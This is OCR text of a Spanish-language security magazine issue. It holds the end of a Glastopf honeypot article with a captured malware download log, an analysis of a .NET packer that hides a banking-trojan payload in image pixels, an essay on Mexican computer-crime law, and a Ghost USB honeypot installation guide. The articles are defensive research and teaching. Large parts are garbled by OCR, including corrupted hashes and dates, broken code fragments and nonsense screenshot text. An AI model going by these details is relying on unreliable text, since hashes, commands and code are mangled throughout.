Saving to: ‘kl.exe’

kl.exe 1080%[ =============================>] 500.006K 347KB/s in 1.4s
2015-06-24 B6B:12:00 (347 KB/s) - 'Kl.axe’ saved [51200B8/5120080]

[FINISHED --20815-05-24 88:12:00--

Total wall clock time: 2.1s

Downloaded: 1 files, 586K in 1.4s (347 KB/s)
root@honey:/opt/honeypot -glastopf/data/files# 1s
c0173343221c5641caf932bdliedar3cc Kkl exe

root@honey:/opt/honeypot -glastopf/data/Tiles# mdSsum cB173343221c5641caf932bdBade3ce I
cB173343221c5641caf932bdBede?3cc c0173343221ch641lcaf932bdleda?3ce

roct@honey :/opt/honeypot -glastopf/data/files# mdSsum kl.exe
cB173343221c5641caf932bdBada23cc  kl.axe l

Imagen 10. Comparacion de archivos

Glastopf recolecta muchos datos de mdultiples ataques manuales o automatizados, permitiendo
investigar a detalle y aprovechar tales datos, como las direcciones IP, las URL, malware, web shell,
herramientas, etcétera y poder generar reglas de firewall o firmas IDS que aumentan la seguridad
en nuestra organizacion.

Para poder visualizar los eventos registrados se pueden utilizar la herramienta Glastopf Analytics.
A través de su interfaz web se pueden consultar datos como:

+ Principales archivos
+ Ultimos archivos

% .Seguridad UNAMCERT
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- Ultimos eventos

* Principales visitantes

* Principales paises

+ Principales agentes de usuario

* Principales patrones de evento

* Principales peticiones de tipo de archivo

A continuacion se muestran algunas imagenes de Glastopf Analytics:

B -
T Glastopd Anahtecs
0D 10000283000 LN Ewgs
Glastopf Analytics ot
aasy honaypol statislics v2.0 Show top flles
Show fast files
Shuw st events
3 Show tog visitors
Getting started
Show top countiies
Show last comments
Infe about your honeypot envirenment Show top Lser-agents
i Show top event patterns
1. Thank you for using glastopf honeypot
Show too requested
) [figtypes
We rocommend running glastopl using this commands
cd fopt/ glastopl-runnerf
mshup glastopl -runner & ki it
ihis way you will see Traceback in case of erros in ' l
noluap, out
2. Graphs & analytics Log out
My goal is to make dala mining moie accessible and offer Click here to lagoul
the mast avaiiable informations about your honeypot
3. Enjoy opensource development
If you love Perl and want to help, fork me on GiHub
Feedbacks or suggestions please send to:
vavkaml lfgmall . com
Proversd by [anges 0 1320000
Imagen 11. Bienvenida a Glastopf Analytics
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Imagen 12. Principales archivos capturados por Glastopf
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En la seccion de los 10 principales archivos, cada archivo tiene un enlace al servicio web de
VirusTotal el cual permite determinar si el archivo sospechoso es algun tipo de malware.

Se puede buscar el malware en la siguiente URL:
https://www.virustotal.com/search/?query=c0173343221c5641caf932bd0e4e23cc

W Glastopf Analytics = ¢ B Antivirus scan for a© » E - = 3
C | @ https//www.virustotal.com/es/file/a55f4bf04e57Bea 1008251 7590 1db482Te 3 3c49c 0515 1b2 12022994 fde 962 =
L. Comimnidad Estaisticas Diocumant acio FAQ Argica de ™ F sl Unats & |a cormunidad Iniciar sesior
M\ total
SHA2GR a55idbi04e5 T Bea 10085 171590 1 db4B82 T e 33 A5 055 1h2 1 aSa ¥l de 96217
MNombre bl oxe O
Detecclones. 45 / 56 ‘ 4 6 1
Fecha de analisls:  2015-09-19 17 4218 UTC { hace 4 dias, 5 homs )
= Analisis & Detalles X Relaciones 0 Infermacion adicional ® Comantarios o Q) Votos B} informacion de compartamients
Anthrirus Resultado Actualizacion
ALYac Trojan. Generick D 2638133 201560619
AVG Cryptd BUWF 20150919
AlVware Trojan Winl2 GenercIBT 20150919
Ad-Aware Trojan GenerckD 2638133 20150919
Agnitum Trojan ¥ akes Ty 26y KaxY 20150017
AhnLab-V3 TrojanVWin32 Dynamar 20150919
Antly-AVL Trojan/Wn32 Yakes 20150919
Arcabil Trojan Genenc D284135 20150919
Aovast Winl2 Mabware-gen 20150919
Avira TR/Crypt Xpack 255148 20150919
BitDefandar Trojan. Generick D 2638133 20150919
Blav HW32 Packed C9AF 20150919 =

Imagen 13. Andlisis del archivo c0173343221c5641caf932bd0e4e23cc (sitio web virustotal)

El Proyecto Honeynet UNAM-Chapter desarrollé un sistema para procesar los datos de diversos
honeypots generando estadisticas y gréaficas de captura de spam y malware, ataques web, SSH
y trafico malicioso. Se pueden ver en la seccidon de estadisticas del sitio en
http://www.honeynet.unam.mx/

Este articulo (comprendido por dos partes) mostro la instalacion, configuracion, funcionamiento y
prueba del honeypot de aplicaciones web Glastopf. Dicho honeypot puede ayudar a mejorar la
seguridad de las aplicaciones web de la organizacion a través de la identificacion de diversos
ataques y el correspondiente andlisis de los eventos. Antes de desplegar un sistema web en
produccion, es recomendable complementar la seguridad con un firewall de aplicaciones web
(WAF), asi como la verificacion (manual o automatizada) del codigo de las aplicaciones web
(validacion de datos de entrada).

Si se desea conocer como instalar y configurar Glastopf Analytics se puede consultar en
https://blog.honeynet.org.mx/, donde se encuentra informacion acerca de honeypots, analisis de
trafico y mas.
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Si quieres saber mas consulta:

+ Blog UNAM-Chapter — The honeynet Project

* Proyecto Honeynet UNAM

+ Firewall de Aplicacion Web parte 1

+ Firewall de Aplicacion Web parte 2

+ Implementacién de un Firewall de Aplicacion
Web con ModSecurity

+ Implementacién de un Firewall de Aplicacion
Web con ModSecurity en Debian utilizando
paquetes

Sergio Anduin Tovar Balderas

Es egresado de la carrera de Ingenieria en
Computacion con médulo de salida en Redes y
Seguridad por la Facultad de Ingenieria de la
Universidad Nacional Autbnoma de México
(UNAM).

Labora desde 2014 en la Coordinaciéon de
Seguridad de la Informacién UNAM-CERT en
el area de Deteccion de Intrusos y Tecnologias
Honeypot, donde lleva a cabo actividades de
desarrollo, instalacién y pruebas de
tecnologias honeypot para analisis y deteccidn
de actividad maliciosa.

Fue instructor de la linea de especializacién
Deteccion de Intrusos y Tecnologias Honeypot
en el Congreso Seguridad en Computo UNAM
2014.

Egresado de la octava generacion del Plan de
Becarios en Seguridad Informatica de UNAM-
CERT. Ha participado como instructor de
nuevas generaciones en este mismo plan de
capacitacion. Labordé en el proyecto Seguridad
en UNIX de la misma organizacion, ademas ha
impartido cursos y participado en proyectos
con dependencias de la UNAM y entidades
externas del sector publico.
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Analisis de un curioso packer de
malware en .NET

Pablo Ramos

El analisis de malware involucra una gran can-
tidad de tecnologias.

Dentro de las diferentes variantes de codigos
maliciosos que se han visto Ultimamente, los
cibercriminales comenzaron a aumentar el uso
de amenazas desarrolladas en .NET. A conti-
nuacion se presentara el analisis de algunas
familias de malware que afectan en la regidon
latinoamericana, ademas se compar- tiran
algunas herramientas que se pueden utilizar
para su estudio.

Al hablar acerca de esta tecnologia es impor-
tante destacar que se trata de cddigo intermedio
ejecutado por el framework. Por lo tanto, al igual
que otras tecnologias (como Java), a través del
uso de diferentes herramientas es posible recu-
perar 0 recomponer gran parte de su cddigo. De
esta manera se logran simplificar las tareas de
analisis estatico para comprender sus accio-

nes, aunque a veces puede haber un par de
complicaciones.

Entre las herramientas existentes se utilizara
dnSpy y un fork de otro proyecto conocido como
ILSpy. Ambas herramientas permiten analizary
obtener el codigo fuente, incluso bajo determi-
nadas capas de ofuscacion.

El archivo a analizar corresponde a una variante
de las familias de malware detectadas como
MSIL/Injector.KYG o MSIL/Injector.LES que

se propagd bajo el nombre ConsultoMulta
Online.exe a finales del mes de julio de 2015.
La deteccion corresponde puntualmente al
wrapper, que utiliza técnicas no tan comunes
para esconder su payload pues lo oculta en la
siguiente imagen:
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Imagen 1. Malware oculto

El proceso que ejecuta el wrapper es bastante lineal, ya que carga los recursos alojados dentro del
ejecutable, decodifica el payload que se encuentra en la imagen y que a su vez esta cifrado con
AES (Advanced Encryption Standard) y luego invierte los bytes del arreglo (array). Todas las
acciones se ejecutan en el cuerpo principal del programa (main):

ngl] args)

"L OADER",

jndaelManaged

ray Fii w, @, array.

]

Imagen 2. Main()

Observando el cddigo de la captura anterior, hay dos métodos que se deberan analizar mas a
detalle para comprender realmente qué es lo que dicho codigo intentara hacer y como revertirlo.
En primer lugar, se debe analizar BitmapToByte().

Esta funcion recibe la imagen presentada anteriormente y recorre cada uno de sus pixeles para
extraer los canales RGBA (Red, Green, Blue, Alpha) y concatenarlos en un array, hasta que la
longitud del mismo sea igual a un valor predefinido en una variable global. Este paso, que es
bastante extrafio y particular, intenta evadir su deteccion.

Una vez descifrado el payload, se busca el EntryPoint del ejecutable y se invoca para su ejecu-
cion. En este punto es donde se logré comprender qué es lo que hace el wrapper y se pudo extraer
el payload para analizarlo por separado sin la necesidad de ejecutar este malware en un sistema.
Paratener éxito es necesario hacerlo manualmente, exportando los recursos conun scripten Python.
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apToByte(Bitmap bmp)

ew RuntimeTypeHandle[Program. d

2% num != Program.

A% num != Program.ds

pixel = bmp.GetPixel(num3, num2);
bt onumd = @;
= (numd < 4 &% num L= Program.d

b (numd)
= pixel.
= pixel.
pixel.

pixel.

4
nume-- ;
:;
num3-4+;

numz++;

noarray;

Imagen 3. BitmapToByte()

Ese pequefio programa realizara el proceso inverso, descomponiendo la imagen en sus valores de
RGBA y utilizando después la clave AES para decodificar el payload con PIL, un médulo de Python
para el manejo de imagenes. Con un poco de ayuda (encontrada en StackOverflow sobre como

manejar archivos BMP con RGBA utilizando esta libreria) el codigo, un poco rudimentario, se ve asi:

Imagen 4. ImageDecoder.py
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Ahora, sumando esto a algunas lineas que permitan decodificar algo cifrado con AES, se obtiene
el payload al ejecutar las siguientes lineas de cdodigo:

H...

"iﬁg[]

% len{array string)

Imagen 5. ImageUnpacker.py

Asi se logrd obtener el segundo ejecutable, que se trata de una variante de otro malware, detec-
tado como MSIL/Injector.JEI. Si, aunque sea dificil de creer, todavia no se llega al payload origi-
nal sino que hay una segunda capa de proteccion.

Este segundo binario también se encuentra desarrollado en .NET, por lo que se puede abrir en
dnSpy para inspeccionar un poco sus acciones:

r i ]
L 4
numeros

H...

ring( )

len{array_string)

Imagen 6. Segundo payload

Una primera aproximacion a la funcion Main() del segundo archivo permite identificar que realiza
acciones similares al primero. Primero extrae el archivo MAIN alojado en los recursos del programa
bajo el nombre STUB. Este ultimo archivo también es detectado y corresponde con una variante
de Win32/TrojanDownloader.Banload, utilizada para el robo de informacion bancaria.
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En otras palabras, comprender como extraer los
payloads mas alla de las protecciones que
utilicen los cibercriminales es un paso necesario
para el estudio de cualquier familia de cédigos
maliciosos y que, con el pasar del tiempo, toma
cada vez mayor relevancia.

Si quieres saber mas consulta:

* Nuevatécnicaesconde malware para Android
en imagenes

* Vulnerabilidad en Framework de .NET podria
permitir elevacion de privilegios

« Cobdigos maliciosos

Pablo Ramos

Ingeniero en Sistemas de la Informacion
egresado de la Universidad Tecnologica
Nacional, Facultad Regional Buenos Aires,
Argentina. En 2010 ingres6 a ESET Latino-
ameérica como Especialista de Awareness &
Research, ocupandose de realizar materiales
relacionados a las actividades de concientiza-
cion en seguridad informatica de la empresa.
En julio de 2012 fue promovido al cargo de
Security Researcher, teniendo a su cargo la
planifica- cién y realizacion de investigaciones
en la tematica.

A principios de 2014 comenz6 a desempe-
Aarse como Coordinador del Laboratorio de
Malware de ESET Latino- américa. En su rol
actual, como Jefe del Laboratorio de Investi-
gacion de ESET es el encargado de coordinar
las actividades, proyectos y tareas relaciona-
das al analisis de malware y sus tendencias.
Asimismo, se ocupa de la administracion de
los sistemas de estadisticas, recepcion y
reporte de muestras de codigos maliciosos,
recoleccion de nuevas amenazas, y similares.
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Delitos informaticos en México

Jesus Ramon Jiménez Rojas

El Internet es una de las herramientas tecnol6-
gicas mas utilizadas hoy en dia, es la mayor
fuente de consulta de informacién y una de las
mayores plataformas comerciales, lo que ha
causado que gran numero de actividades anti-
juridicas se realicen a través de este medio. La
legislacion actual en materia federal y las de los
estados de la Republica sobre delitos informa-
ticos se havisto superada por la rapida evolucion
de los medios electronicos.

Uno de los principales problemas es la incorpo-
racion de las nuevas figuras delictivas que han
surgido a la largo de los ultimos afos y de la
adecuacioén de los distintos tipos penales ya
existentes, por lo que resulta de vital importancia
reformar los distintos ordenamientos vigentes
(federal y locales) para crear nuevos tipos
penales que logren sancionar a estas figuras por
la ley.

En los ultimos cinco afos, el uso dispositivos
electrénicos, como computadoras, tabletas,
teléfonos inteligentes, etcétera, se ha incremen-
tado por parte de la poblacion debido, principal-

mente, a los costos mas accesibles. La mayoria
de estos dispositivos electrénicos estan conec-
tados a Internet y las personas pueden realizar
distintas actividades a través de ellos:
operaciones bancarias, publicacion de informa-
cién através de redes sociales, envio de correos
electronicos, entre otras. Sin embargo, al estar
conectadas a Internet, las personas estan ex-
puestas a un sinfin de actividades por parte de
terceros que, sin tener autorizacién, realizan
conductas que pueden dar como resultado la
pérdida de informacién, monetaria o inclusive de
credibilidad en sus negocios.

Algunas de estas actividades ya se encuentran
tipificadas en los distintos ordenamientos pena-
les, ya sea en el ambito federal o local. Sin
embargo, debido a que la tecnologia avanza a
pasos agigantados, comienzan a aparecer
nuevas formas y figuras que no estan contem-
pladas y que no pueden ser clasificadas como
delitos. La razon es que se estipulan, de manera
especifica, ciertos requisitos para que dichas
figuras sean tipificadas como tales.




Para abordar el concepto de delito informatico

primero se debe abordar el concepto de delito,
gue de acuerdo con el Codigo Penal Federal es
el siguiente:

“Articulo 7. Delito es el acto u omisién que
sancionan las leyes penales.”

Enfocandonos al delito informéatico, el Dr. Julio
Téllez Valdez, en su libro Derecho Informatico,
menciona el concepto tipico de delitos informa-
ticos: "son las conductas tipicas, antijuridicas y
culpables en que se tiene a las computadoras
como instrumento o fin"; y en el concepto atipico
menciona que "son actitudes ilicitas en que se
tiene a las computadoras como instrumento o
fin". Desde un punto particular, se podria definir
al delito informatico como “el acto u omision que
es realizado utilizando cualquier medio electré-
nicoy que es sancionado por las leyes penales”.

De las definiciones anteriores, se observa que
el “acto” u “omision” debe estar tipificado en una
ley penal, si no lo estd no podria considerarse
como delito.

Asimismo, de acuerdo con la teoria del delito,
existen los llamados elementos del delito, que
son cada una de las partes que lo integran y sin
las cuales el delito no existiria. Estos elementos
son: conducta, tipicidad, antijuricidad, culpabi-
lidad, imputabilidad, punibilidad y condicio-
nalidad objetiva.

Ante todo esto, la pregunta que se debe hacer
es ¢ existen los delitos informaticos en México?

Los delitos informaticos en la
legislacion vigente

El 17 de mayo de 1999 se public6 en el Diario
Oficial de la Federacion una reforma integral en
materia penal a nivel federal relacionada con
delitos informaticos, la cual incluia dentro de su
marco juridico distintas figuras delictivas que
protegen la informacion contenida en los
sistemas y equipos de computo, sin embargo,
este ordenamiento ha quedado superado debido
al crecimiento del uso de las tecnologias de
informacion por casi todo tipo de individuo,
perteneciente a cualquier clase social.

Es importante que se reforme nuevamente el
ordenamiento penal federal existente para que
se incluyan las nuevas figuras delictivas (o se
adecuen las ya existentes), que afectan a las
personas que hacen uso de las tecnologias de
informacion y que sufren una afectacion en sus
bienes juridicos.

Algunos codigos penales locales, como el de
Sinaloa, ya han incluido articulos haciendo
referencia a delitos informaticos. El Art. 217 del
Codigo Penal de ese estado menciona lo
siguiente:

ARTICULO 217. COMETE DELITO INFORMATICO, LA
PERSONA QUE DOLOSAMENTE Y SIN DERECHO:

I. USE O ENTRE A UNA BASE DE DATOS, SISTEMA DE
COMPUTADORES O RED DE COMPUTADORAS O A
CUALQUIER PARTE DE LA MISMA, CON EL
PROPOSITO DE DISENAR, EJECUTAR O ALTERAR UN
ESQUEMA O ARTIFICIO, CON EL FIN DE DEFRAUDAR,
OBTENER DINERO, BIENES O INFORMACION; O

II. INTERCEPTE, INTERFIERA, RECIBA, USE, ALTERE,
DANE O DESTRUYA UN SOPORTE LOGICO O
PROGRAMA DE COMPUTADORA O LOS DATOS
CONTENIDOS EN LA MISMA, EN LA BASE, SISTEMA
O RED.

AL RESPONSABLE DE DELITO INFORMATICO SE LE
IMPONDRA UNA PENA DE SEIS MESES A DOS ANOS
DE PRISION Y DE NOVENTA A TRESCIENTOS DIAS
MULTA.
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Desde un punto de vista personal considero que
hasta hoy en dia no se han cubierto todas las
figuras que podrian considerarse como delic-
tivas, un ejemplo de esto es el correo spam, a
raiz del cual una universidad, por ejemplo la
UNAM, invierte parte de su prepuesto monetario
en darle solucion.

En un articulo posterior abordaremos las dife-
rentes figuras que podrian incorporarse al
ordenamiento juridico penal mexicano.

Si quieres saber mas consulta:

+ Implicaciones juridicas y de ciberseguridad
para la proteccidn de bioinformacion humana en
su regulacion legal, almacenamiento y uso

« TIC (Internet) y ciberterrorismo

+ Criminalistica Aplicada en la Seguridad de
Tecnologias de Informacién y Comunicaciones

Jesus Ramon Jiménez Rojas

Ingeniero en Electronica y Comunicaciones
egresado de la Universidad Veracruzana.
Pasante de la Licenciatura en Derecho por la
Facultad de Derecho de la Universidad Nacional
Auténoma de México (UNAM).

Actualmente se encuentra laborando como Jefe
de Seccidon Académica del area de Servidores,
Redes y Soporte Técnico en el Instituto de
Investigaciones Juridicas de la UNAM.

Colabor6 en el departamento de Seguridad en
computo UNAM-CERT desde marzo del 2001 y
hasta el mes de abril del 2008 desempenando el
cargo de Jefe de Proyecto de Seguridad en
Windows y como responsable de la pagina
"Usuario Casero".

Ha impartido cursos de Seguridad en Windows,
Administracion y seguridad en Windows, Segu-
ridad en redes Windows y Analisis forense en
Windows.
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Ghost:
a través de dispositivos USB - Parte |

Jonathan Banfi Vazquez

En la actualidad existen varios métodos de
propagacion e infeccion por software malicioso
en los diversos sistemas operativos, por lo que
es de vital importancia su deteccion y andlisis
para desarrollar contramedidas. Uno de los
métodos mas utilizados en los sistemas
Windows, por su rapidez y por llegar incluso a
equipos de computo criticos que no estan
conectados a alguna red, es mediante disposi-
tivos de almacenamiento USB.

La propagacion inicia cuando el usuario introdu-
ce un dispositivo en la computadora infectada,
el software malicioso que se esta ejecutando en
esa maquina detecta que se ha conectado una
unidad extraible y realiza una copia de si mismo,
cambia los atributos de todos los archivos a
ocultos y del sistema, mostrando al usuario
Uunicamente los accesos directos a su informa-
ciéon. La infeccidn se lleva a cabo cuando ese
dispositivo de almacenamiento es conectado en
otra computadora y el usuario intenta acceder a

Honeypot para malware que se propaga

sus archivos a través de los accesos directos
disenados para abrir tanto el archivo o carpeta
como el software malicioso, en ese momento el
equipo queda comprometido y listo para seguir
infectando los dispositivos de almacenamiento
que se conecten.

A continuacién se describen las tres formas de
propagacion mas comunes registradas por
UNAM-CERT:

+ Modificacion del archivo Autorun.inf:

si no existe el archivo de configuracion en el
dispositivo USB, el software malicioso que reside
en la computadora infectada puede generar uno
nuevo con la ruta donde se replicd; dicho archivo
contiene la instruccién para ejecutar el malware
en cuanto el usuario conecte el dispositivo
extraible a otro equipo de cobmputo que tenga
habilitada la funcion de "Reproduccion
automatica".
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« Creacion de varios accesos directos:

se ocultan todos los archivos y carpetas en su
ubicacion predeterminada para después gene-
rar accesos directos que apuntan hacia cada
archivo o carpeta (pueden generarse Unicamen-
te enlaraiz del dispositivo o de manerarecursiva
en las subcarpetas) y también hacia el software
malicioso que se copid a si mismo, una vez que
el usuario da doble clic sobre cualquier acceso
directomalicioso. De estaforma, ademasde abrir
el archivo o carpeta, se ejecuta el malware y se
infecta la computadora.

« Creacidén de un sélo acceso directo:

el software malicioso crea una carpeta oculta (a
la cual mueve todo el contenido) cuyo nombre
es el valor hexadecimal "0OA", que corresponde
al salto de linea ("\n"), por lo que graficamente
pareciera que el directorio no tiene nombre. El
acceso directo contiene la sentencia para abrir
la carpeta oculta y ejecutar la supuesta réplica
del malware, es decir, es una DLL que cambia
el nombre de la funcion interna y parte de su
estructura cada vez que se propaga.

El objetivo de este articulo es mostrar, precisa-
mente, la captura de este tipo de malware con
el honeypot Ghost en un entorno virtual
controlado, ya que la mayoria de los honeypots
existentes se enfocan en la deteccidn y captura
de amenazas que se propagan a través de la
red. Alo largo de dos publicaciones se describira
todolo necesario parainstalary configurar Ghost
de manera que nos permita implementarlo en
nuestro laboratorio de andlisis de malware, de
esta forma se podran detectar las amenazas que
se propagan a través de unidades extraibles y
recolectar los archivos de configuracion y répli-
cas que se generen para su posterior analisis;
se obtendra un mejor entendimiento del malware
y datos que permitan crear inteligencia sobre
nuevos vectores de infeccion y propagacion.

Esta primera entrega se enfoca en conocer e
implementar Ghost en los sistemas operativos
Windows para los que fue disefiado. En la
siguiente edicion se abordara la configuracion
de la herramienta, la captura y el analisis del

malware que se propaga a través de dispositivos
USB.

Maquinas virtuales Honeypots

Windows 7 y XP Ghost
Ghost

Es un honeypot que emula uno o varios
dispositivos USB y fue disefiado para detectar,
en analisis dinamico, software malicioso que se
propaga a través de estos medios de almace-
namiento, siempreycuando elmalwarenorealice
una deteccion minuciosa en las caracteristicas
de software y hardware del laboratorio de analisis
(y asi identifique el dispositivo falso).

Fue desarrollado en un principio por Sebastian
Poeplau para una tesis de licenciatura en la
Universidad Bonn en Alemania, en la actualidad
se continta el desarrollo dentro del Proyecto
Honeynet.

Ghost es compatible con los sistemas operativos
Windows XP y Windows 7 de 32 bits, lo cual es
conveniente debido a que muchas sandbox
utilizan estos sistemas operativos como clientes
para automatizar los analisis de malware. A
continuacion se mostrara una forma de instalar
el honeypot en Windows 7 haciendo las res-
pectivas observaciones en los pasos adicionales
que se requieren para Windows XP:

1) Instalar .NET Framework 4
Serequiere esta version de framework o superior

en caso de utilizar Ghost desde la interfaz
grafica.
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 NET Framework 4

Programa de instalacion de .HET Framework 4
[Drebe aceptar los términas de la licenda para continuar,

TERMINOS DE LICENCIA COMPLEMENTARIOS DEL SOFTWARE
DE MICROSOFT

(] [

l,: He keido y acepto los tErminos de la hcennal

Tamano de descarga estmado: 41 MB
Acceso telefiinico: 101 minutos

Banda ancha: 7 minutos

Tiempo de descarga estimado:

+ En Windows XP, antes de instalar el
framework se requiere:

a) Windows Installer 3.1

Asistente para la instalacion de actualizaciones de software
Use ede asistente para instalar ba siouente actualizacidn de
software:

Windows Installer 3.1 (KB893803)

Antes de inztalar esta actualizacion s= recomiends

- Hacer una copia de seguidad del sistema
- Cenar todas los programas sbeerttos

Pusds qua neceste rericiar &l equpo una vez finalizads la
actualizaciin. Para contiruar, haga clic en Siguente

Cancela |

b) Windows Imaging Component

Asistente para la instalacidn de actualizaciones de software
Use esle asistente paia instalai |a siguisnte actualizacion de
zoftware:

Windows Imaging Component

Arites ds instalar esta actuslizacion te recomiends

- Hacer copia de segundad del sstemsa
- Cetrar lodos loz programas abierhas

Puade que necesite reiniciar el equipo una vez fnalzada la
actualzacion, Para confinuar, haga cic en Siguiente

| Siguisnte > I

Cancelar |

c) Colocar las siguientes dos DLL en la carpeta
principal de ghost-v0.2-winxp.zip:

+ wdfcoinstaller01009.dll (sha1: bOba0de22
adeOee5324eaa82e179f41d2c67b63e)

+ wudfupdate_01009.dll (sha1: d9688d1849a
86dd209732529375c6ada272ff8fd)

La configuracion anterior se requiere porque
Ghost necesita Windows Drive Framework
(WDF), en Windows 7 no es necesario este paso
ya que incluye la version 1.9.

2) Instalar Ghost

Descargarydescomprimirelarchivo "ghost-v0.3-
win7-i386.zip" [Archivo .zip], posteriormente
ejecutar "Setup.exe".

Fawtatiin

8 Drocangas
I Ewritenio
Al Stn recemte

AUTHOES CHAMGEL GhadGLy Ghedtld 4l
[ |

- . (|

# Bbiuieces
Decumes to

helesdspy TR FEADRJE

praess sep
ortupy

El sistema operativo preguntara si realmente se
quieren instalar los controladores no firmados de
Ghost debido a que Microsoft no puede com-
probar el softwaren del controlador, hacemos
caso omiso y continuamos con la instalacion.

# Mo instalar este software de contralador

Debe comprobar o sitic web del fabricante parz obteney software actusizado
el controlador del dispestive

x| Ver detalles

+ Para Windows XP se usa el archivo "ghost-
v0.2-winxp.zip" [Archivo .zip]
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3) Colocar los archivos imagen en la
unidad C:\

Los dispositivos USB que emulara Ghost
requieren archivos de imagenes limpias y con
formato para que se puedan almacenar tanto
archivos legitimos (si es que se requieren) como
aquellos generados por el malware. Las image-
nes deben colocarse en la ruta predeterminada
"C:\", ya sea que se generen de forma manual o
se utilice el archivo "ghost-clean-image.zip"
[Archivo .zip] perteneciente al desarrollo de
Ghost.

Una vez extraido el archivo "gdgui.img", se debe
copiar tantas veces como dispositivos se
requieran y deben renombrarse de la siguiente
manera, dependiendo cdmo se van a montar en
el equipo:

« Desde la interfaz de linea de comandos:
"gd0.img" hasta "gd8.img"

+ Desde la interfaz grafica de usuario:
"gdgui.img"

y finalmente desmontarlos. A continuacion se
muestran los comandos para el dispositivo
"dg0.img":

+ ghosttool mount 0
+ ghosttool unmount 0

Disca extraible (E)

Ak la carpeta para ver los archives

Organzas = Propiedades del sistema Desinsifi(
|

ciones e Beproduccicn putomidtics ep of
1]

Fawvorites
B Descargas
H B Escritorio

L Sitwns recenles

&L Owsco local )

4 Dispositivos con almacenamiento extraible (3)

5 Unidad de disquete (&) o Unidad de BO-ROM (D)

o Bibligtecas

Nota: En Windows XP se abrira automaticamente
el "Asistente para hardware nuevo encontrado",
se debe seleccionar la opcién "Instalar automa-
ticamente el software (recomendado)". Este
procedimiento se realizara para todos los
dispositivos que hayamos creado.

Eute as el Asislonie pars hardware
A Encon iado

Ongmnizar = Compadicpn = Hurea carpeta we- A 8

Faantas

&g Descargin | I
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Windows  Usewos drchivosde  ghost-cies
mogEaTa  n-imageri

p

galimg

4 Blsbotecas
#| Documentas

& Imigenes gihimg  gdiimg  gdlieg  gflimg  gilieg  gdlimg

o Migcs

L5 glemenios

&

4) Configurar dispositivos desde la interfaz
de linea de comandos

Abrir el "cmd.exe" con permisos de administra-
dor, montar cada uno de los dispositivos "gd[0-
8].img” para probar su correcto funcionamiento

5) Configurar el dispositivo desde la interfaz
grafica de usuario

Abrir "GhostGUI.exe" con permisos de
administrador, montar el dispositivo "gd9.img"
para probar su correcto funcionamiento y
finalmente desmontarlo. A continuacion se
muestra el modo manual:
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Nota: En Windows XP se abrira automaticamen-
te el"Asistente parahardware nuevo encontrado"
y debemos seleccionar la opcion "Instalar
automaticamente el software (recomendado)".

hyistende para hardwg

Este es el Asistente para hardware
nueve encontrado
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Haga i en Siguianie para contima

Finalmente, una vez que los dispositivos son
emulados correctamente en el sistema opera-
tivo, se observaran como unidades de almacena-
miento extraible con capacidad de 100 MB
aproximadamente.

Hasta este momento se mostré una forma de
instalar Ghost en los sistemas operativos
Windows XP y Windows 7, que son para los que
se tiene soporte al dia de hoy. Ademas, se hablo
de la importancia en la deteccién oportuna por
firmas antivirus de nuevas amenazas que no se
propagan por red o que ademas utilizan unida-
des de almacenamiento extraible.

En la siguiente entrega se hablara del proceso
de deteccion y del andlisis de las muestras
capturadas.

Si quires saber mas consulta:

+ A Honeypot for Arbitrary Malware on USB
Storage Devices:
https://net.cs.uni-bonn.de/fileadmin/user_
upload/gassen/USB_honeypot.pdf

+ Interview with Project Leader Sebastian
Poeplau:
http://resources.infosecinstitute.com/ghost-
usb-honeypot/

+ Countering the removable device threat with
USB honeypots:
https://www.youtube.com/watch?v=9G9003b9
qR4
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